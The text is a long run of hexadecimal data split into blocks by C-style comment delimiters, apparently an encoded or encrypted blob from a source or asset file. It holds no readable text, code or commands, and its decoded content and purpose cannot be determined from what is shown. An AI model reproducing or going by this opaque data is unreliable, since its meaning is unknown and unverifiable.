204486dd9c9b70c9a12c9432c358f6c0dd9069776dd1892ab16e1e3ffe82dfc23aaa99b321086cbb449770368ec7e9e600f9b388866305f271c0a9fbbe7c857ee67caf8c76b558f8bb885c818b270c4d8d389746437c891d2b5974d03c534d413fb2016a81bfc5a3c62c180466405cd22f931d375512d0f35b7efed45f0ae5a4242f3a4088e76eb3aae2bbfa87b3a278b7417eb31480c202691f65dbcc92f9d8818196ad20ef605d21000a08ed0a9afd223490a8ffd429ec3efd27872012857ec6aa0c45b9997d4b4941cdbece9910385dc7638a2121caafe16af3efef73300506ae4ab4dfe766aa600737b38add2a33b6e7ed06536fb910665893257c7b0ddacf22288a2bb6f7db0e73d6ad1457cf245923431ad8aa5a26a09fab22647d1ba34f900d7f61be499aa9236c911f4c7dc00b09ef13fbb356c9485a4d3a7b17b32ee1986492fdf696f52728111aaf43c590d0fb5f84a5393b37b6f0ee0dc42d6f81a5f6bbb64a392f82aa4dad0cc5c9ea95382425cc5523305d67a3affa29576cb22357a6a54777fbd0a9da80515ea89ef7ea3c119029772e7648f83b65130c7df6c60accf0e1fa695de1375ad4f76189e035751937f8d0736d5af91b0f79055efc8c253a92e89d627282c9df22b13f3f539cc9c323ec66606de1406a0297e7529cd7b35ca08361da65af61e78b47c45073865d8f2a249057e24b1d502b2985ddff30ed00e0af612f348b3eec98461ceaf04a8e1982c7c948e60e24298c1392c190336851cf13f3930f856fbd714db33c98cf48fff791514a08ca95b76f60ab651600a66dddd690546c3d7db44d7edb0b81605bdc00f8c20810812b3cc39aba731005ccc6a548fea0e056de443e10e21fa5b78274e9d686e633a7534cb005c1ec30d544ad7f4604433a855444522eccc78057f0892978569b2c3782594d5cf7bb48037f6d95470b5665f11edc368bff81dbddc50646a5ccc9993399deaf7c980ad65611310a6b811db3c60e76aec19188e595e0fa0780f25eed6a581adc0d3176755409efaf486be8f3753ec7ed337fd1b536e04b0128c1c197fce072719d063cbcef01eebb094cdcbd2bac45a188699aed24f06c35b4dd9abdfa663ba3b82106d0b96cbc381dcdfa2cecbc28c65cab4d839268ba86de5ad5355c3248211f8fd49f94de5cafbfdb0f42c92cd31a0c7940659de7d9277a3389fc4673ce4d667d35a511daa296dc4c82f25292d5040a715b78d07588d14deca90d5d59aee50baa3e42d1a143d03974bc27232fe713430164d47804933f1ad9ece8c721f2da8a01b4608d9106f0db60306ff959409be9af82c5ea038c5500a1*/
/*2b0471b8f6efd084ae92a503feb8be34f94ce9592692353a559d30db27e2c9bea26125aeb5c7a5ea41df066fca7b12ac23e562d3a3d23b49a74325066dd9504b0b4b5170c2edf191610e1c5f13b784929b9a9ec4a36d86d4b71e573057ed38af65f8f9e861a9556a8093d97906c09a2f5bdf105240d606900c9e8a160220bc342bdd37b9c712581f253fd9925e779de0bf0f931460725b32b29d2653e111dbf4b2869bf2d3e97be58a02e6a4dbda94af449b65bc150c9ee58fe6596cc7826e99fe3e9d4ef7ea875b9876ff0bb8ffcc14e08c430ee0d4952259392e0688ff9aacb586e13b4b9c4c586290a3bb0bfa4a8736b9220dc879d187959b93442673b2cfff5cb9a86c34f5efd2983ac7b2d6e2e66e1acc000854e9e9010b255197a31ec53b8a4b3df66ee7d11abe3efe3633bebe370c66b892a4bc563ccad4f5148a8163b48439fecbfb08f76f7c21f86202647a4cb2e5ead58868d94cf95c5a2bad01e428190701c549fde1c7acfb4b097443394f9d232fe0973d631cbe4cf21ce4be8799f63a71ce208ebec0720c422da35251ca8df8a18f2cfef37b94fd11ffbab60fc689bcf132e4daa5e39f54ca5aa3a6f265c18deec6c70ee732d0447303de79448ba46600b814541815c38368b1689c5889f3cffe55ccd80819b9aa08680b50cbd3f942816bd01618017405266f319762715180080a603a291589b6e36d0763119455f4c3479bcc7ef93ae39cf487aed8af81a185792ab9ddd1f0f920e3ad0892beb82e698324540583865e986e391d6f4394ad801b9a54d02b9f6ea1b4c1723a60079bdbb9c6f0c74f657a8d03697f4516a7fdd2b0d14ecaca5c383efc7cc9557c8ad658726048a56a006ff4a7558eca84dde601987d0776669cd75c2ee8ca176b78cd41476d0780e5228f06f116ed9ee11e9a1070365d203072a634bc2bca8d86da27eca297cd9a6b53171bd2d2585b4c64351ee7fdee00e810adabb07b0b814843156f12f3505b1bd28cf6b65da3d26b73c7c048a9420fab21ce35f484aa087ae7ad748f2e639b04c75ae23394e8539e5bd6b741d62c32094a694b3a06887fb6ef2f114460a08fd53bfbd464db97b2a1476cd7ab95bba050d0f35cbb1639e02e9530a342eba336ac176b05220893a73a659ecba7477fa5d0fec110809bdc531d4410e1ed8754d19e7d22cf33b1b258d97ceb6ae292428defdcba1cc1bf6e578c5532c35aed9ea59de6d23c48f35554321bfc98fd0af2547175f1f3eb930a3d66017e35ed9bf4692ccbd78cf92c512e897bd876be77d19f828746ee255a17802f72b9642e06ccb60582f8c915de07e5c00a9e92bb3108e72b2810c3802561b919bb9336af884defe9c1a994c2bce6cb9ba7e22f67d58ad72e6f06f6d171119a5ea506dd26efcbbd19f1e8abbbb80ba4821db89107096b5318f05bed20579f7823e3c92475f740c0a99d401e1d918868c8ca375b5353bd8816cb59cd88767d8558bea12090fdbcf132cd43e0d7482872a41dc391377e11a81de3a15243905dfaca610251b999e809bfdcbe540af89255e8d30dde70f1c6755244f22b9d6a0fc2842da9b319ea1a6e6a4525b5e333f154aec32e163c6a0843b0947bc2670294dc5a030c60640b6577ec1620de3cdc42971f5e8795ba530eca4b0834b65f24a473666d0f8d886eede2e74e65d6ea60b3ca697f9c02802901d7d7cde80a0dbd72af05df3e821a2f53746abd81d09acb8dc0051aaa2a973f2c04c9b2c40df62eaede31911c8eee644876039dfe89ee97b7b01fa5298c27a8e5358a45fb390b3efd85a2293971772fd3bedaab6d486e5db98abd44e45731f6eb49ed7914f1d36dfa8385fd1729df05cdd99ef15eaa7fef0a78a199bb778d2936622ff7baa7d21b4147ac5c229a5e264ea6716f691a225e701064e8143e74bb842f333648fe3cb7d869979f453a2753abacf6f4d7cb630b523f34a6a5be6c4be545560d9d1ac4d3fef7136a80f59fbb3e37247e6f0def4fab993478e8f98cd18000a25a1fd04fbd6c7cd2c84ca3d98c2e4da472c947a081042609eb4379cc50708cb1d4438ee623dc9ada5bf55b5035d02f606d90494487161347b1a259d80ecce6d0283cb498fb516c3b65895900c86f80d92458c7e3c92bf1486a7452843f5d42dcf320948129565d6f80a35cbcf6101ca0227b84d972d12917b4d619a2eb9d74d061ed336212d63bb5a165d7a906416058ab0fbcc4463979f1bdc40c19f8461e748cc0d3dc03fee8598495ad574c7ce11e7d5dd544e3823385ef49e40bcf6271c3307a0cdf79af811dd9351c6720e707bcbfb0b7f1b09c1d89081dc441ab70fcd58bc13f968074c3a670a9eb0b8e3d326b40a67e986950c92b985eaf09a6d46d495df6acbc110c7dc482bd18776ea90d50e328aae9f712ed528328b36e1e3b1277ac1197e7d8aa7acb98b9e8bd966420ca96c0c8a212af130c46749e7ccfcc24357ec6be2609e1a752aae36b649eea627581eea79b30a8ea047c6f30aaba456319d2ac7a18440fa2f2298dcb78bdfaff23fa0453d96f8ae7696485b038d9bb4e91ef812d47aaa72039037e5c3782b081762225a725619e8a72de62591a315b44b2efb49372e44cab669d2b3d6d3b33f143efedd807278ea1f1df4ca34fecc906b97cb59d1355cc4de6447ce084ddbb38e9f1dff51e30d99d02034984d093e67dd797047ee6a5c870983778c422d8c3114cdc17dcfc667b01f0602dd4e5978782157d79057c144af60ead75ab3366100b592c42827f2297a0309bf1b2b41c3e6f1db981b51c7e86fbd9eba0c190a290952cb589536e0c26be*/
/*9c4d48a1810de467b17c62692cb51ec6ef51a4e728c00e7dcdb4141348d98e9297ef04514c99a23791cd0d498be6294caca3114eb630af36bb415c40cbf6836f808b3fce54cbb134c8f938e895850f1882b2643d824baf8dcb8eadae4e35f0f282bec5e14224de5adadd625e9182bda23cb8723dd72349c73f088da9787b017f759d9b131432b950946d9d640697da8629642930476c66372c34c22533b04c9c740bda42d9ad2a9be6ef667cadeac9e6a64b5ecf6470e95909bc331edc6d73585a0f75f8d91e8c007cbcb6ad53785ee38c165c5e177198a2990505407f229533d9e623a9f68544911bf7a911bada274924fdbc09cad724ee22c27582bb6b293ce00d1d0f64df7f76d61ec79a8f65395382bf88293d9b90444f27d1abdb5147069e4ad721eecb7d9009c0b3e3ff007942049fe42c064e99589fb499ce9a563223f5fc51cc85ff274df2744a7a882a00b75dc4cf4b9aba63fb5bc0549e8d3e30d64eeab7f30489959df1f72c5773be0f28e3d08e2df007a334a90ed90a875396ed54905f8d9c796bcf82988b05c2d470d15727812395484fc708829ada436543cb4afa8a2edc4d31318f280d876642e2cac2611d7207779cef9a0f1a31c281d5b461c1f1f72b25151b85972caf0b3697c1f5b840dc8709c4a3e26e8ccaf48e23d23a7cea7fe85d710456fce674a62986d27154971f91459e72c3bf50e04760198f58368891d95d32350d7d1337439a06268d705cd820bee9812bd8502c5ec7546febb660125e0f163229fe72a65a3653d4ae0185bd773382c223cb40ecce9cdd71368b50ffb886316ba0f1260dddcd9c0ade11a8cb503d83df458b7dc83efec41a88d7489fef738ead0be65b0bb2200d5e4f82ccda18cad6f84339d13c5608256e5932da10722711765faa4eec0b49593cfc9f24bbb1b2d2af896623ea69b93c070d8bf77f90d502c9478e93cf9a99edf97af5fcfcbfe23a1571b6c280097f0162c942ef1ab9335c07e887224008adfecbdeff1d429e2d0d8ec51b20c9f74c7c05d69624903669b4dd9832256075aac29989670317e87cac9c6494fee62a3072e08f01b3e45f17f4c37c2e54097374a3199b22f46d49ca5e05992b0745b7f46189ab1f36470db5630d8ba48d718065c24035b8cfe513bec6108857fdff951c7b0eb3949558a4b3b5e70aa9f566c04c41a7d5fc5cb120eb612d1957259f1f6b7ec793a36c5e43f0b64de1827e46fee4f61ee2927a86f9695ac62127c1f0ec6a3c706a990aad25b3d31ff872367864b8affb252b33e4b7cb603314fd79926ad36595334b680f46eec7e2975815c41e9dfb664014afe2b8fd5f474b2f8b0a547f3f8d79898acbab7d21e36e9e127284c84a8745076417db58bd8f2453b7a9153caaf220330fc8b86eaf64d1cb02a450f0c6f2781f1568c7ee021d3027bf642604c481a8119e55e052f0087a385b7e86b8d978bb5f1d33832a7cfcb82c355e7b6cb93a2395cc640effdb26f10c829b67a699a72bd287cdae53cad811dcbab3afb0a1543061184b73f49ba6099928ef73f40be1657f4bf6b4b76621b4955d59230975d6c84f6d5145ee83736ef97170ea3330f30a48c27455f6a77717b4f4304b7a6fa5e16513d00cce17f5065c8581046fca14420934ac343ee2958284978819efbd6735a529d6d4a336e9cbc7cde7f77e9bd7794f1103e72e84480185ffb41beb79e0ebaeb188adbb0d3409d3cb5d51c2982318682dc1127acbc5446f9a79dcda95badc3c3f8b22bcd45ee78f4aea0b46b68028d6ae2ee631c73327ef50c47d64b999c1db1d3328eada93d90f15f6156d433ddd580d87c86bf0521811df9ab1484f1cd117d23ac7cc26301fa14ea0d32bd4297d5d06fcfcb1de388dbb223b7ae913c52fa09bc3c20fafdbb3cd6b869fd4be3dc44a52d5dc7d667084769e7ac47e84747360a5fca783d22b6db86f8ec4b64a37c86071c932ddd05eee3ea189ea2e2fb6d00eeac0e1eb7213d863107e7f76692fd1364a28ddb87b7ec3484d3e6ed7d5d90eabe595c9956bc5beaa1ebf0e060099d891966447638dbf9eb9b2df339fe13856e33901807199b857d50617020ed5f8d96b0f16f35bb2c057584b9b902853fc2354c7906f6f7be2de6938e18b50b070dc881eb05c46fdc21d0c494b9e4e84c6822d45e1ead6e49affb1d647d99368bc6bac913f47a7542788fa448e673b5579c9e38731d98bb9f68c06882b06aa2844444a22febfc4884fac724d00435152f6f41754e76926c8a724121b16e558d2c83fabb7b4f7256581ea2a1cc8a6c87e581c61d0aab5042a4b0c727fbb1a0e3d8a93e065e46a11446a4a37d9e5c5c600f5a866d887c8dca346ffc299607b82b6e6571e496bf9dc9752fd3d60f06d6b1e039c703680bff3528da816902ec37179870f95bc4f3af8e61148d55a7904eac0ba23b8d892c4c8fd3701e4f7193944b429ed69a18c23e7f8d63f8329c238a027658e64e52d85ccfe7abbdca80fee81b72e9489b7e43dad2b6571941ab9b8b60187e3a07208616a0a2313f3689a0f4a542a4d2ee0f451746b37460c3302e6831b22888530c50b5b7d18cff843998c0240b345424faebdb165fb015aedab53370c33201bc9c223f625ae0bc11ac095cc0673e686118c389821f739b90a433372e71106f880f3b24fc236c5143fe88c36c6b45caf8e3cb47d26dee8eb129f960c1136b1c7195e9f6c9930cfc8bdd101ab89f21e6797e5a72ba09a257c3abc474c4e40370fc41de7f7e595128cdcd965f428577f6961d4f3d4675269ba7308fbeff6c33907952a07e229a3e18b6aae0cf15edd*/
/*1c9a33632ee93cb9b94a86aa49cc372e5c2cce962c9f5f81d76ff5ec0b05a4f76309b06258f33ab2f62eeb3d5aa2ff6cb4614185480e72adda75e56fa34a42da7e43b05f170f441fd4fc2e2517c61c5cab676fe09d5b6570a5fff0b7ff099c2713f72de252cd9613c513a92a381f02ee9bce3c4bcd7db7551952881aeef2ab864bb0e8d405d749d1816715280a8d393955bb24733f25a477d915f6409259f2c95e044b6b1ab02c03787b12608fa018963c47270bca282516ce695e2805cf1d458c64c18336566fc12c64467010a31e0b29fcb1c1a0bedc0247a9149f4168870de34bf84faa6486853b896de17d3259e3d003b017545b2db7f4fed50bdf40b03e423f389900fc69c9eae5380774b3756ce44b7747b33fababbddc2b191d7f79fa3d987c9e967b1d012d0d9dca1dab0582df1be113e3c7473ad31779debb3e7d8793c9d836c2be3047fa246a27c169d23a839429856fb43debf54bb35f519597e65ad227603abcf85db091173d623790476cef9ddec3de78d344f4212ecbad2b6efb0ec91e583c8583be59d501580b014657bbbb565f3e7fb7e1f5cd81fe8e975c741369d02b97546716f6229f406d6c681a53e42acfe1cf6ee6d5acca763a73e30dc7cafa39030735f9ef2e98b1c4631f5ced85704bd140a6c63007f688cacba9657102d296cbb4b512a39cead11ec37d19b72d797fdb39f7c7f0f912d6f3538ad7476636b157334a43958246fc6389bbaef0ec154742075cf8ede8fecf4798ec8491881d51632bcf10ff1f600427bfe87f9b67a87e7bfdc89b8523ca689326305bb2c990eda7656d029ba7d8bd93e7b3576389ff83812319c50da7230f9b809ba202201a9aa77595c9d6b9e972bfe8bc08f8202a3e8ad4fd5c62810d697061a38aeff10bbdf5ee2cc7fca5113f7b53db28d71e18c3a803a9144850729b5f69781363141865b40db42782573846be5144df06c5c5b73b117a352f5a4cbed727be2f76e42ec9181b234e27632d752a0e6cef959ae005d15fff3b649e74cd87d57e57875900fee41e06a2591dc4b51c8c89394e27cb20e6b7ebc826ae3b80c45ba6da5dc625cd4218ccef488c796917046ba6b1fb6b70f04eb7055004295abcf55ed84d9266ea7c99674ba3e9c99c1bc6f7cc49f011e6d9979eabe394a236fb14b0d2c80368b6e9e4d8ddd804458db424abff628701fc248ec35572fb7d54ebcace66c3c6182fd3641dc90876c8bc11eda911f60d2933bd8d94eefebc78345941c760d7586bcbe07640b01200153ebe13dc2cc0e4c2891d75b0b12532e2873bf7539807e3091f5e720397985f9acd0778437bbd3b8f646b0add5784c4da06a6a2da382213639ad2bb2f9a72eb42356563456a9241bd8b7aaf026c889e2e5d48929a2a0aa886b269cddb5eb7c23795d6e87d1485f93f60e3adc2685a015ee5d4195d2fb581f6f3c8d3efe181f0317393c9952d817ddaea9a2f45973d8466dc3afec7a8c706c3f96425955eb0c910e53b144f10f5d683cdc9567ede3e1603a43254c3b5d2ee7326fe99a27bbe74e89fc25b4b222151e0fcda19330415b5f48a441379cfe478b6c408dab39754c77d7bff1f07dfa92652021e9410a68b417c40a9ce31d49d737411087a2f3071114054af96847062d795ee9787cbf94b20905bd7873a5b8fdb3d6ee6fde6681f8c663ccf8415daeb581afcdbd68347b1b22a32b6ca8dd9e8abadb4d35233548dc38c9a7deb1dbc1bb1dad3592e36d61637b026ad744457094b349d4f32c5c10dafa36851dd214de5c6abc25d906a33421fe30bfbd7607371dbec3584b8bb9b776a6e3ea81eaf87794e5b87716be4f77f12d3583233b0bb65624451186a97cfb6101e1fa6cbdd9a05c79a1fea57fb854420761e184f6b888bc278113b6932527f26b034dca21672ea33f35779cc22243fa339af280962b577141f4e1ba9944d1f00593ee6f76c1c8a691d281a7a18aaf51689c7d79fe2c65fdfa15dff65bf2da9adb7aa05636f8f3f85ef3a07123d266aed8ebd3a3e7bc0c6720230527a61ea0008df18d563bbec9cd7a4440c06a651c816d4f05e6690fead767344cac97891fabf09c4f84541be422202a90deb9afa6289af6fbbf4289844b6f47f1ab7209b80e865f7ecfdc9c9556f4e3bfd329d25a95f0ae4892ddcc4c84e7327eaab4442bb1dc127d3cfe37759b9020d271a3e0eb1ea6b921fefc693a044a9ee80ff2706edebfd53d687ec39436e5687daf57a32ba2597f393fbefb1e14d6402ec3f2699a3b2ad072b055d7db27bae072e88fdc12c0f4149dbecf3734189301249cc96b4e74a51f2ed4dd6da36a09067e0d29bea235511d4c5c0926820ac38a4a91087a57a7648d24772b3e92fd54853d1853ef6dd2ff779287500b1d5125d693018fc9ce877b712d47097c91de99465ce87671dba406b244ef616a1112ff62e26fe2efe4bb1a742a2b088e19de6345b59c1d8af8af03525385a030500d77c1ebdf5da6a064c6ded1264c9561ab1069fcfdb61bcb252560f2c970ff91582e4604c8a356ee9f5a971619cfecf0d1e8f7b46e6c6b6108c793ea7be8fb7946338d239f87eccdc02cdaf4583e49535b23de831b9e2691176bbd5e9d94b56357a1d79b54d8791a0f191522b789c239d22febda3f7d6c16b7487a2f2f5ec14de9a48bafa63e2c135379baefc04303dc69590a4a6743adedd661d800ebb3cc63076659f98dda126ef80421644a59726b98675edb4ad0a72f437c2c2a59bd82ef03aa6f52a55eb4d720102a823495f0bc4937db33e1548e39c38cb6291a9c8a5aba254cd24e8bcde861a147c940dae*/
/*6cd158c4afe61404caf900c9099c784910090afc518478bdf4a851cd729378927859e8ea8cdef4a3034782db1fdac13a985fe08f38e444ae57ebd67487cca74d5a170f66de4f5f75c24e344e6b1d70a54358b34c830d38ff3d50cc12d3357810f4f57a6c27804fa8d4d3075715b3724851984bb637e17c36511e5faf8d1b00f92153a3cdf4596d3444338668412a0a0fe42aca7ad0ee15337eaad50ce37e7ab1940ef01cd16d5892bfe847bc463c2c43f729bd7f00f98ec49c83b97252a00cadc645d6acf65e7970179b8413cc9bd0e72c2bdc5f2076dd3d2d3c947bedb547b0b9057ec2bed6e718bfc920e0fff35a182019245fd78dd8156b17d4abf8b170e4fa121174775e341970503b3ea2de758fb43ff802a9ef903cfb49d24484cd57e5fa49aa3a8c0951e896e0ac6908f620abbf9ed5bc483a28b35bfcde69a01ff376442119bbaabd0b21e814ae9d7cbe8c6697a2aee152e3f2a0b992b2ac0c24df50b9fcd26baacce35dbd18fcc52baae35bfb1ee10c60ecee28ff0144d353d2fd241d608a988df1b4a5a417dd68f2ac2c0a5953256e421ac44e48b32fc1760457df2a43d333c1a03fc1044a3819638184cfa4d3023b674ff995cf45715b5a9cf1573da148de26c3e6a198af55bc2f7d68c054c703278512fee57567584478e05333aa5d11a1d221aee588f927ac90e15c3f49b740fc1e11c6e4d1373b37f5a3d199f19572f9798889c916158ab8407f64b9f7dcf4109a1060ffda2d06e7341d97afc511a9e225fad0c7ce49e53935cde08a36d96407156099092f7a6bfe85082a2bada771817e5b1dd07c40ee1ce762000b62246a67aabf4cbf9fe4126f04c2ab4159aa5826ef48a3a1e93e3e17485875061ab310f5d7557116405fe9ebea5b25b3961baea4de90e229a168b0211a7be66fc78692bff02ccfe3f856364969e5cabca522a4da5bd203e97906787e64009e525462963b57d3c6f37b0625c10164ef8d9aa450b76f3c13e2f1d45f7d2699a2a4f7fff881144dacfd361a3118135edf787e47756d2777936b71d2c81d3dff16a709203f7e5a75221c17f40cb7b624c5d55b02e921490ece1a3c1cddf7df8ea75f2253f6dab0adb782faa6b9b9ee2015eaa035438042782603b08aba962b230948d806fe2be482c832277eff82b3432c274f14a11b45769e66a4a73909b0352f42ac7c41172b3699a0565c9ca64e4a95b287c0fb6aca8cfd0f663b31f4875edde2e9de037cb5fe6dab2d270a97fa1932e990d852214e2b8579c1794702626e470011e031382986750e15603410682ed5088f3bb01a2d7d1d10d182bb3da36d74e6a2e6ea24ec0907633ebdae49cf7fbd2de168e2f0404fbf893a2b2d83e74280b63bb932ee462ed790df837578911de040da076a2b92a4840e46d9241bded609e6110b53f052b80fbd4ed7dc70366b61b84d5559b771903f338e6157dcfcfb0f0712dee1da4a930cc032c8cfeca8f377a69319d0155cb74ad35b02c43cbbda4d73d630ba090f1f8e56949f20067cb5846679cfce6e8d2213d78e1385398065a8e6f0c64310e0a481b0aaa8f47c6367294d4e0c0b1d9aaf5e217c66d8f88b798943c0bbd05478a2f4377ca87a6700c994e85d449623e2d7ceb919dce34c2c9154da3dfde0f64fe6bb530351cfd1cddf26cb836da06ecf160bdc1f9c297d1e832e9a07deb1ba4d6d0e33cc8281aa2fe29307c62572ad7040aecdfe748cd590d201ded1223f3d3cb22e50f7e13d64e69ff926bd97ef990f803c0778d40b692f554e6236d17ef441a32fe680136becc537528b4b968143f1d1d5667378cd07f8e7575230da384c54fd7de92f12e264624314ca1eccc3ec623e23f4554b89832496a11dcf0ab51a1ed88b69f965e96722ca37341f2bbd8f0e71fd42db760a21e7ba3a00b8b3562e70b033de79740a97be407a279c5ad43baea3b250fc22bbc55b8f831a96b73c0b80df98a27f04012c1a354fe72163437c6c08662f3aa925bbbb773fd41ca7aee59d841ff14958383ac678bf9df4547a99768c7ce23e0616daa650df4213b1699483949295d0a3e73a799be8fbf3ddc671ec6e2bc726f234a13cf9ab3b92b70b9b362cf4dbd9a08d2884c80ad423a5addf76cc5365226c4bdfc286d323c18c398a37f7e633188611f38a3138d02e4ff7d8bb6654c8123ff3e33666c67bea3b90bb1e3f5ee7936dc9f01b192293dca2d2298c7224423e1c886338f6793864fdc58314ca9f88fff59fab85ac232a03f3d40dda28bff0b561412b94df4a6c5987ee2ed0f8dadd82dde32437b733bacf7df1d1881fe56f3d3e0cd2923a7bb6eb5e89d0901b828a455f59c205157f67078db852b4607fbeaaebe0245ce4b57081f83b3dd96ed6e970c4c4de3ed4fb04a5e4fec750bd3f5ab58c99e901b5fe31477f9a507b7b946d641eaaa84f76ee7ac002621f5fa8014b981fe04e51cca7c184fc7690b0691d695a6f64359618e3de56eb0e8e17fafed6b1aad33416f578cf41b3207a53eb9695ea381ef384aca5d5791b878bd301ed4c22b8520ac73b37a369d51467faaae7101694cc9d31866d9b093cdacca905aece4b402b286e820de33b5d25fec8f608252f61b09c6a8d49f9173a3a981b93c38e7dde72261fc130b79376848610a0cc781dcdecdf4edf122f0140e4e6fc04d8af4dae57b7835ba9f8ac24bdc68d2e0dc9583a49141eb5561d912c48da2417a6f1276a2b5b09dfcef636f32cb4a1034c42352d6e2c2577dc8b4af2da60b89b4a2bfeefcf07c2fb1f305d85cbf335170346edb80ab2a4d09cc5f1227f86a066672fe79b95f345de1ba3*/
/*da81584e2265e293b549d0568b5d9a79c1f1f74db9f0b9ab7ff6af77a929ca39466fbe635cae33d177b390bbf187f85662dd361ff31c1d1e26f97326ca385836adbdc2297fed9b7159d4ed21b0163784ce8c3adb8eff02fb4ba77007574c5c05826c606552852fd2bd5786aa0e1feff287d49f163b3ce2f56594e2d545582604c6cada3ff6523a5198ea76c2e45b2e60f6f7f89a55dc24977760a12b5f5093294b41c20dbaef56a7e17e74d96fe5806164a579a89f63284562fc97e907b0250a778729f97bd278650dc14c02f2c8de7bc086dd9bdc78de6cec611c54802d25ca5abc1464a3b16f467e12ea9dcd57f0ba31f05bd15b9f7d95f59b95d791f6650437de78fae20b2333a04f42dbfe9df41a0e0977fa88b9a4a652fb52d1ab10eff2546a7cb1f5484f22b99bd18dc4870c224fb9ebba40c99f7bac0392e538cb1c66f5cbea6bb483ffc7147f6d5c42b5ff03ef0acb06dfd05b74e9cdf33540872263c7efe118b20038150ab416eba94d9982210b8d42408ccaaa6641d573af30f0b35b7be91c461527a66f13f1af75c53daee15bbad3c4332c913c1326dfaad1ba629c467d2de3355b930ae15ae124a4d5e4354509446d6fecc85131222bf1570b6f4c3d89377191556d42725a197f66839edbd6668b5fe5331a8cdaebffaf3be08d85f2f84e721877cd01958e22641078aa502d2513259cab463709ea02568ba6d004e489d46a211b4044171a4d8d713a4ef153ef126f209cbacbb22010c3e1186f6496cc63dc2631e5862ca3a0232d40df5489fd7975f42d10c40f98dd4f7e270311d540ea7156c1e4ff8e2414451e2e4622b05a3f378fbd95226f083abb8814eab8347c3108e39d53783ec873fa06224ddc6dff062acef3afd3b7649c720deeeef8d400e08f2009aaddcba385541ff8e82f57a685fc19e9d6b13ed7afcb9441aace8303f75b0fef898b4d748b62a72e4d392723f674a9107e5f36cfc20f8be5e1eaa45a0ac54000e181cd09fc7fd0ee2e8403e2650c9beaeea0d4168323ddfddc822b0f87a17645106b0be56a7a4f453a98450c1e883d85ac2da372613817da2bf87e3a968d13ad6a287da41270538d226d64e8b7b350ac2bba74b26f5aa74e091264952ce1ddf9aac215213f7ac5b26e037d0af74209188359b929fe9732ac46594ee98165528249fee3d09fb8d49bd516c3760c70ccd2e961f6e961a5b9003f3f0ea49aaeb83b4797fa826de150211590a57f4bb79b30782d5114972abca932af3fe537dbdec69975a1d22ebccd61bc28be8d27bb570e07d8d4baf4142c17079be0c623633218cad9ee08e4db9dce8e8ca6ebb74814226ee6d85b5876892e6c931e0cff0b2706cc6909a6b3653f24a4bd00ed30bb385d147e2db936432f5751fc92a5c3a98dac565ed0040b43066edbc1368054e46e689d061bab5b8a78e0490e883b3e4ec1e7bfa7e14e396e53570d26bb5b581f2a4fe63822fae9dd840e735a62cce41b7d20181a6301b982a660a7c88742a0c0db113b1174053bb2bdb9be12cadeb9d8ac8201e193963aad3b7de2efabb933ae478aec06528f8cdaa7af79686e208d974ba561509a43f7b580d90f042b2833400024d8f8bffae82c09682d9732ae76035b8daa44447b3c92e6f6d960ee0ac412cd15c2d50ed81dd62159deecacda938a4c0b7d135f79c4726c02243bb186525a81ed109e5155ca6c310365594361cd280e89fe6ea4ffc393186187cae520540b90502f4a63a3d0aa03f020447188d2e1d4eafde75ead484009db3317a8ba4f9d347f5e95413d55e0affb6762d16df7f795611342ee9c55ccc19e60097b577c2f0022fdd8466aecf3ea27500aa80c3098008bc4215be5e8e20fce225068339047da080af65c45534eb4964f96e5f6ea6f1c213b0b13f071f3481764f373a1e47c58ef4f71c7f71b221fdc8b23755f0d2ea464932a6dd3ade40018fbcc4208dbff50556f55fabc44a71edc58760aa675129c17e65136921ba0583a6c9083c9f3cfb7049efb4e4fcd0ddf328bba7ea8011e7d24f86b354b53884f06a4469df1fbf2cef80e2285b55671009f55f1562c4c2d09c12c9d97a8dc0d595a690e0704560e3ccf6e93e1ba4f2a72cd1831f663feeddaf1e98580e654849bf1fb6996e6badffce6fa36a4392dc5575ae3eb8e63a19a23adabe3d04b9976424b29af4eb242459c8d554b74124f76be1126685e08fc49ed27ffffe7ed34b0bc825c12b3a75da53cc340070e2d27d13c588a4621721bee7e1607663430897760ef7f40ee429cfbaded2fadbd36167036368d780ce43f110c295ab5f8f18a775e81511af2c1302490bf036f7119f7e7875ddc28c81f2c00e59c44c584918d9101e4ea17ba277c186ef51d2a1fda4602c7b09ee471c9fdf597fadfffc8a50a52220a0669603ea49f4ec46402531d6f9e442e2eb50bebcb5353e2c903b98576d9fe3dc9d7c7dce2f8d630320af5f1000cb80e79d75db0d1b2423474b570ea0df6479092516b8d45de346872a82aaa4a59a78b8262e43cb1dd61bb42af8b965d0ddc87db8b2cc5d4a22b0398588f007e500ee42194ced19aca8a176297c46a92907d66586acf859f8224064938cfaf89755c805de12f256c8a6a6904250830ed303a32f4e66650f8e5caacaa8095262ac32be438ffcec75d26c9849715e47c02e8f6199e9a9696818a34cea4443dce7117ea46213f113d351436d188328acf77b06b40611fa49737d0e1dfb51097fe034412c4018be210d271f5ba249cf4d16cb28101aca17ec6e0ccb50417e462f009d37bacb0583eefe70138171904f7b551ab7f2b0d*/
/*def59a4cadaf50fd60eb2f9d4f5ccb9f1fb4f2122da0bad1442811b77c49953b0d73dd956d619debc4d457758faff7860ad64758d5dea0123952846ecf15f14805c09023a68c1a2e0c404ca79e707c4846be3ebd128f37c46834f575d358848d3d7894a996a74195d14e09b0dfb535874777235abc225a97801da29690c2f16010120d6eb8ffb372b410a9753fd6a08b1f7901dd3dc58319df434596a9cc34c554eab07e311f53df4c68ca5d17018a16c76daed5bfa05e67f32c6188a587d416c3c83f720f40e88345b52512b2c3345a89780c23c82390c0e5726e644e417054ade5f49514b747513bbf93cd63b95e2114a3ec8f7e0c7331c3e26c70d0ae758c4953dad40b318542eee148ddc0c61f51318b489464b89bf19bea65a947a89889cfcabead8827e0719e7b4b91fbc1ee1ca801f6bf0d0e61fceefa8b571c7ff5792474583f173da49ce75c94f64791fd731a26778bfe4a1c6fcdebb64a40dfbde84498de9791d60a3a3dc835a612663dc89a727cff8240168ab73f1180ee8bc603b93b854349396257673479f6e125538adb76f51ec28c470027b5395ca569c7f2febd7b414b52a6953d04a8a4c2934853c12cf8f5fa87c42d0f3bc080ce7b1b5afcd18b37ec5a97a2d6eefcc7ded362572d333ebc9c88b5e209140adf29dcb79fae310ccb445c8d69e11c9cc081be67dcdd0f43b16ae64d2516f6f824b15fce30a518791fffeb1176d224ba3bdbf7a626119d54c7eb39796c5bc182a185dadcdd2ab91dcdeb87eed64e9227afcba78fb2b9b661bdc747336132147ccf5def98b0bf97f63fac09b4333ebf3feb2da383f901af7f4ac0b9b39cb438414a8fd608ca4da6c922052fb2c589039be41c7b4e48c97bf0968b17cf9e743fae8ee464aff9ef1259eade73b31c602a9084c9487b58353a468234eb9a5256c879bab23d061f6bfb3a0e52a